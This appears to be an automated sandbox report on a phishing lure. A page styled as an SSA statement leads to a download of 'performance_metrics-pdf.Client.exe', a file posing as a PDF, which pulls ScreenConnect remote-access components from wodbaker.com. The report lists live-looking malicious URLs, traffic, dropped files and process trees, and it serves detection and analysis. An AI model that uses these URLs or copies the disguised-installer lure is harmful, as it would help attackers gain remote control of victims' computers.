Source: dfsvc.exe, 0000000D.00000002.2410268962.00000296B44B0000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B605D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.application#ScreenConnect.WindowsClient.application
Source: N7AUJNGH.log.13.dr	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=wodbaker.com&p=8041&s=
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.applicationI)X
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.applicationW.NBK
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.applicationX
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BD90000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.dll
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BB5D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BE1D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BD90000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BF16000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5F90000.00000004.00000020.00020000.00000000.sdmp, N7AUJNGH.log.13.dr	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Client.manifest
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.ClientServi
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.ClientService.dll
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5F90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.ClientService.exe
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969BF58000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2401389588.000002969BCCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Core.dll
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Win
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.Windows.dll
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShe
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.e
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config
Source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.config#
Source: dfsvc.exe, 0000000D.00000002.2415067209.00000296B60E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe.configu
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsBackstageShell.exe72
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C163000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsClie
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsClient.e
Source: dfsvc.exe, 0000000D.00000002.2415915270.00000296B823A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe.config$3
Source: dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsClient.exe.configl36
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsFileMana
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 0000000D.00000002.2413653938.00000296B5FB7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe.0
Source: dfsvc.exe, 0000000D.00000002.2401389588.000002969C0A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wodbaker.com/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: chromecache_146.1.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: chromecache_146.1.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_146.1.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_118.1.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_118.1.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_118.1.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.77.14.110:443 -> 192.168.2.16:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.16:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.5:443 -> 192.168.2.16:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.77.14.110:443 -> 192.168.2.16:49779 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC9B1D0ABBD7F98B401D425828828CE_BE4413523710330F97BEE5D4A544C42B	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1	Jump to dropped file

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5912 -s 748

Source: cdca2320-d5b8-4397-ac43-80bc6a1d7245.tmp.0.dr

Static PE information: No import functions for PE file found

Source: ScreenConnect.Client.dll.13.dr	Static PE information: Data appended to the last section found
Source: cdca2320-d5b8-4397-ac43-80bc6a1d7245.tmp.0.dr	Static PE information: Data appended to the last section found

Source: ScreenConnect.WindowsBackstageShell.exe.13.dr, PopoutPanelTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.13.dr, ProgramTaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.13.dr, TaskbarButton.cs	Task registration methods: 'CreateDefaultDropDown'

Source: classification engine

Classification label: mal52.evad.win@36/97@25/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5912

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

File created: C:\Users\user\AppData\Local\Temp\Deployment

Jump to behavior

Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://identitys.fraudguard.es/SSA_Updated_Statement"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6080 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe "C:\Users\user\Downloads\performance_metrics-pdf.Client.exe"
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: C:\Users\user\Downloads\performance_metrics-pdf.Client.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5912 -s 748
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1968,i,9071979778886371856,12710523717943567296,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
